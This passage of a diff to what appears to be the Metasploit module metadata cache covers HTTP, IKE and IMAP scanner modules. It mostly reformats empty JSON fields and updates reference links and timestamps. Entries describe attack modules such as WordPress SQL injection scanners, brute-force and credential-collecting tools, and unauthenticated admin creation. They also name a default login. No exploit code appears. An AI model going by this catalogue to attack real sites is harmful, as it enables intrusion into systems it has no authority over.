"auxiliary/scanner/http/wangkongbao_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44355,20 +38672,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/web_vulndb": { "name": "HTTP Vuln Scanner", "fullname": "auxiliary/scanner/http/web_vulndb", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44376,9 +38688,7 @@ "et " ], "description": "This module identifies common vulnerable files or cgis.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -44405,20 +38715,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/webdav_internal_ip": { "name": "HTTP WebDAV Internal IP Scanner", "fullname": "auxiliary/scanner/http/webdav_internal_ip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44455,20 +38760,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/webdav_scanner": { "name": "HTTP WebDAV Scanner", "fullname": "auxiliary/scanner/http/webdav_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44476,9 +38776,7 @@ "et " ], "description": "Detect webservers with WebDAV enabled", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -44505,20 +38803,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/webdav_website_content": { "name": "HTTP WebDAV Website Content Scanner", "fullname": "auxiliary/scanner/http/webdav_website_content", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44526,9 +38819,7 @@ "et " ], "description": "Detect webservers disclosing its content though WebDAV", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -44555,20 +38846,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/webpagetest_traversal": { "name": "WebPageTest Directory Traversal", "fullname": "auxiliary/scanner/http/webpagetest_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-13", "type": "auxiliary", @@ -44607,20 +38893,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wildfly_traversal": { "name": "WildFly Directory Traversal", "fullname": "auxiliary/scanner/http/wildfly_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-10-22", "type": "auxiliary", @@ -44660,20 +38941,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wordpress_content_injection": { "name": "WordPress REST API Content Injection", "fullname": "auxiliary/scanner/http/wordpress_content_injection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-02-01", "type": "auxiliary", @@ -44685,7 +38961,7 @@ "references": [ "CVE-2017-1001000", "WPVDB-8734", - "URL-https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html", + "URL-http://web.archive.org/web/20250221003135/https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html", "URL-https://www.php.net/manual/en/language.types.type-juggling.php", "URL-https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/", "URL-https://developer.wordpress.org/rest-api/reference/posts/" @@ -44709,15 +38985,14 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_content_injection.rb", "is_install_path": true, "ref_name": "scanner/http/wordpress_content_injection", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -44734,9 +39009,7 @@ "auxiliary_scanner/http/wordpress_cp_calendar_sqli": { "name": "WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner", "fullname": "auxiliary/scanner/http/wordpress_cp_calendar_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-03-03", "type": "auxiliary", @@ -44776,20 +39049,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wordpress_ghost_scanner": { "name": "WordPress XMLRPC GHOST Vulnerability Scanner", "fullname": "auxiliary/scanner/http/wordpress_ghost_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44806,7 +39074,7 @@ "references": [ "CVE-2015-0235", "URL-https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235/", - "URL-https://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html" + "URL-http://web.archive.org/web/20250117140537/https://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html" ], "platform": "", "arch": "", @@ -44827,27 +39095,22 @@ "https" ], "targets": null, - "mod_time": "2021-01-21 20:51:29 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb", "is_install_path": true, "ref_name": "scanner/http/wordpress_ghost_scanner", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wordpress_login_enum": { "name": "WordPress Brute Force and User Enumeration Utility", "fullname": "auxiliary/scanner/http/wordpress_login_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44888,20 +39151,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wordpress_multicall_creds": { "name": "Wordpress XML-RPC system.multicall Credential Collector", "fullname": "auxiliary/scanner/http/wordpress_multicall_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44913,7 +39171,7 @@ "description": "This module attempts to find Wordpress credentials by abusing the XMLRPC\n APIs. Wordpress versions prior to 4.4.1 are suitable for this type of\n technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically.", "references": [ "URL-https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/", - "URL-https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html" + "URL-http://web.archive.org/web/20250220003829/https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html" ], "platform": "", "arch": "", @@ -44934,27 +39192,22 @@ "https" ], "targets": null, - "mod_time": "2024-05-03 10:45:37 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb", "is_install_path": true, "ref_name": "scanner/http/wordpress_multicall_creds", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wordpress_pingback_access": { "name": "Wordpress Pingback Locator", "fullname": "auxiliary/scanner/http/wordpress_pingback_access", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -44996,20 +39249,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wordpress_scanner": { "name": "Wordpress Scanner", "fullname": "auxiliary/scanner/http/wordpress_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -45019,9 +39267,7 @@ "shoxxdj" ], "description": "Detects Wordpress Versions, Themes, Plugins, and Users", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -45048,20 +39294,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wordpress_xmlrpc_login": { "name": "Wordpress XML-RPC Username/Password Login Scanner", "fullname": "auxiliary/scanner/http/wordpress_xmlrpc_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -45100,20 +39341,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wowza_streaming_engine_manager_login": { "name": "Wowza Streaming Engine Manager Login Utility", "fullname": "auxiliary/scanner/http/wowza_streaming_engine_manager_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -45121,9 +39357,7 @@ "bcoles " ], "description": "This module will attempt to authenticate to Wowza Streaming Engine\n via Wowza Streaming Engine Manager web interface.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": 8088, @@ -45154,25 +39388,17 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_abandoned_cart_sqli": { "name": "Abandoned Cart for WooCommerce SQLi Scanner", "fullname": "auxiliary/scanner/http/wp_abandoned_cart_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-11-05", "type": "auxiliary", @@ -45216,9 +39442,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -45235,9 +39459,7 @@ "auxiliary_scanner/http/wp_arbitrary_file_deletion": { "name": "Wordpress Arbitrary File Deletion", "fullname": "auxiliary/scanner/http/wp_arbitrary_file_deletion", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-06-26", "type": "auxiliary", @@ -45280,20 +39502,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_bulletproofsecurity_backups": { "name": "Wordpress BulletProof Security Backup Disclosure", "fullname": "auxiliary/scanner/http/wp_bulletproofsecurity_backups", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-09-17", "type": "auxiliary", @@ -45338,25 +39555,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_chopslider_id_sqli": { "name": "WordPress ChopSlider3 id SQLi Scanner", "fullname": "auxiliary/scanner/http/wp_chopslider_id_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-05-12", "type": "auxiliary", @@ -45401,9 +39612,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -45420,9 +39629,7 @@ "auxiliary_scanner/http/wp_contus_video_gallery_sqli": { "name": "WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner", "fullname": "auxiliary/scanner/http/wp_contus_video_gallery_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-02-24", "type": "auxiliary", @@ -45461,20 +39668,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_dukapress_file_read": { "name": "WordPress DukaPress Plugin File Read Vulnerability", "fullname": "auxiliary/scanner/http/wp_dukapress_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -45515,20 +39717,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_duplicator_file_read": { "name": "WordPress Duplicator File Read Vulnerability", "fullname": "auxiliary/scanner/http/wp_duplicator_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-02-19", "type": "auxiliary", @@ -45575,22 +39772,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_easy_wp_smtp": { "name": "WordPress Easy WP SMTP Password Reset", "fullname": "auxiliary/scanner/http/wp_easy_wp_smtp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-12-06", "type": "auxiliary", @@ -45635,25 +39826,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_email_sub_news_sqli": { "name": "WordPress Email Subscribers and Newsletter Hash SQLi Scanner", "fullname": "auxiliary/scanner/http/wp_email_sub_news_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-11-13", "type": "auxiliary", @@ -45698,9 +39883,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -45717,9 +39900,7 @@ "auxiliary_scanner/http/wp_fastest_cache_sqli": { "name": "WordPress WP Fastest Cache Unauthenticated SQLi (CVE-2023-6063)", "fullname": "auxiliary/scanner/http/wp_fastest_cache_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-11-14", "type": "auxiliary", @@ -45766,9 +39947,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -45782,9 +39961,7 @@ "auxiliary_scanner/http/wp_gimedia_library_file_read": { "name": "WordPress GI-Media Library Plugin Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/wp_gimedia_library_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -45795,7 +39972,7 @@ "description": "This module exploits a directory traversal vulnerability in WordPress Plugin\n GI-Media Library version 2.2.2, allowing to read arbitrary files from the\n system with the web server privileges. This module has been tested successfully\n on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.", "references": [ "WPVDB-7754", - "URL-http://wordpressa.quantika14.com/repository/index.php?id=24" + "URL-http://web.archive.org/web/20191021124407/http://wordpressa.quantika14.com/repository/index.php?id=24" ], "platform": "", "arch": "", @@ -45816,27 +39993,22 @@ "https" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb", "is_install_path": true, "ref_name": "scanner/http/wp_gimedia_library_file_read", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_learnpress_c_fields_sqli": { "name": "WordPress LearnPress Unauthenticated SQLi (CVE-2024-8522, CVE-2024-8529)", "fullname": "auxiliary/scanner/http/wp_learnpress_c_fields_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-09-11", "type": "auxiliary", @@ -45885,9 +40057,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -45905,9 +40075,7 @@ "auxiliary_scanner/http/wp_learnpress_sqli": { "name": "Wordpress LearnPress current_items Authenticated SQLi", "fullname": "auxiliary/scanner/http/wp_learnpress_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-29", "type": "auxiliary", @@ -45957,9 +40125,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -45973,9 +40139,7 @@ "auxiliary_scanner/http/wp_loginizer_log_sqli": { "name": "WordPress Loginizer log SQLi Scanner", "fullname": "auxiliary/scanner/http/wp_loginizer_log_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-10-21", "type": "auxiliary", @@ -46021,9 +40185,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -46040,9 +40202,7 @@ "auxiliary_scanner/http/wp_mobile_pack_info_disclosure": { "name": "WordPress Mobile Pack Information Disclosure Vulnerability", "fullname": "auxiliary/scanner/http/wp_mobile_pack_info_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -46082,20 +40242,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_mobileedition_file_read": { "name": "WordPress Mobile Edition File Read Vulnerability", "fullname": "auxiliary/scanner/http/wp_mobileedition_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -46134,20 +40289,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_modern_events_calendar_sqli": { "name": "WordPress Modern Events Calendar SQLi Scanner", "fullname": "auxiliary/scanner/http/wp_modern_events_calendar_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-12-13", "type": "auxiliary", @@ -46193,9 +40343,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -46212,9 +40360,7 @@ "auxiliary_scanner/http/wp_nextgen_galley_file_read": { "name": "WordPress NextGEN Gallery Directory Read Vulnerability", "fullname": "auxiliary/scanner/http/wp_nextgen_galley_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -46253,20 +40399,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_paid_membership_pro_code_sqli": { "name": "Wordpress Paid Membership Pro code Unauthenticated SQLi", "fullname": "auxiliary/scanner/http/wp_paid_membership_pro_code_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-01-12", "type": "auxiliary", @@ -46312,9 +40453,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -46328,9 +40467,7 @@ "auxiliary_scanner/http/wp_perfect_survey_sqli": { "name": "WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)", "fullname": "auxiliary/scanner/http/wp_perfect_survey_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-10-05", "type": "auxiliary", @@ -46376,22 +40513,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_registrationmagic_sqli": { "name": "Wordpress RegistrationMagic task_ids Authenticated SQLi", "fullname": "auxiliary/scanner/http/wp_registrationmagic_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-01-23", "type": "auxiliary", @@ -46438,9 +40569,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -46454,9 +40583,7 @@ "auxiliary_scanner/http/wp_secure_copy_content_protection_sqli": { "name": "Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi", "fullname": "auxiliary/scanner/http/wp_secure_copy_content_protection_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-11-08", "type": "auxiliary", @@ -46506,9 +40633,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -46522,9 +40647,7 @@ "auxiliary_scanner/http/wp_simple_backup_file_read": { "name": "WordPress Simple Backup File Read Vulnerability", "fullname": "auxiliary/scanner/http/wp_simple_backup_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -46563,20 +40686,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_subscribe_comments_file_read": { "name": "WordPress Subscribe Comments File Read Vulnerability", "fullname": "auxiliary/scanner/http/wp_subscribe_comments_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -46616,20 +40734,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_ti_woocommerce_wishlist_sqli": { "name": "WordPress TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)", "fullname": "auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-09-25", "type": "auxiliary", @@ -46676,9 +40789,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -46692,9 +40803,7 @@ "auxiliary_scanner/http/wp_total_upkeep_downloader": { "name": "WordPress Total Upkeep Unauthenticated Backup Downloader", "fullname": "auxiliary/scanner/http/wp_total_upkeep_downloader", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-12-12", "type": "auxiliary", @@ -46739,25 +40848,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_ultimate_member_sorting_sqli": { "name": "WordPress Ultimate Member SQL Injection (CVE-2024-1071)", "fullname": "auxiliary/scanner/http/wp_ultimate_member_sorting_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-02-10", "type": "auxiliary", @@ -46804,9 +40907,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -46820,9 +40921,7 @@ "auxiliary_scanner/http/wp_woocommerce_payments_add_user": { "name": "Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation", "fullname": "auxiliary/scanner/http/wp_woocommerce_payments_add_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-03-22", "type": "auxiliary", @@ -46867,25 +40966,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/wp_wps_hide_login_revealer": { "name": "WordPress WPS Hide Login Login Page Revealer", "fullname": "auxiliary/scanner/http/wp_wps_hide_login_revealer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-10-27", "type": "auxiliary", @@ -46929,25 +41022,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/xpath": { "name": "HTTP Blind XPATH 1.0 Injector", "fullname": "auxiliary/scanner/http/xpath", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -46955,9 +41042,7 @@ "et " ], "description": "This module exploits blind XPATH 1.0 injections over HTTP GET requests.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -46984,20 +41069,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/yaws_traversal": { "name": "Yaws Web Server Directory Traversal", "fullname": "auxiliary/scanner/http/yaws_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-25", "type": "auxiliary", @@ -47036,20 +41116,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/zabbix_login": { "name": "Zabbix Server Brute Force Utility", "fullname": "auxiliary/scanner/http/zabbix_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47057,9 +41132,7 @@ "hdm " ], "description": "This module attempts to login to Zabbix server instance using username and password\n combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It\n will also test for the Zabbix default login (Admin:zabbix) and guest access.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -47086,20 +41159,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/zenload_balancer_traversal": { "name": "Zen Load Balancer Directory Traversal", "fullname": "auxiliary/scanner/http/zenload_balancer_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-10", "type": "auxiliary", @@ -47144,22 +41212,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/zenworks_assetmanagement_fileaccess": { "name": "Novell ZENworks Asset Management 7.5 Remote File Access", "fullname": "auxiliary/scanner/http/zenworks_assetmanagement_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47197,20 +41259,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/zenworks_assetmanagement_getconfig": { "name": "Novell ZENworks Asset Management 7.5 Configuration Access", "fullname": "auxiliary/scanner/http/zenworks_assetmanagement_getconfig", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47248,20 +41305,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ike/cisco_ike_benigncertain": { "name": "Cisco IKE Information Disclosure", "fullname": "auxiliary/scanner/ike/cisco_ike_benigncertain", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-09-29", "type": "auxiliary", @@ -47279,12 +41331,8 @@ "platform": "", "arch": "", "rport": 500, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/scanner/ike/cisco_ike_benigncertain.rb", @@ -47293,20 +41341,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/imap/imap_version": { "name": "IMAP4 Banner Grabber", "fullname": "auxiliary/scanner/imap/imap_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47314,18 +41357,12 @@ "hdm " ], "description": "IMAP4 Banner Grabber", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/imap/imap_version.rb", @@ -47334,20 +41371,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/ip/ipidseq": { "name": "IPID Sequence Scanner", "fullname": "auxiliary/scanner/ip/ipidseq", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -47355,18 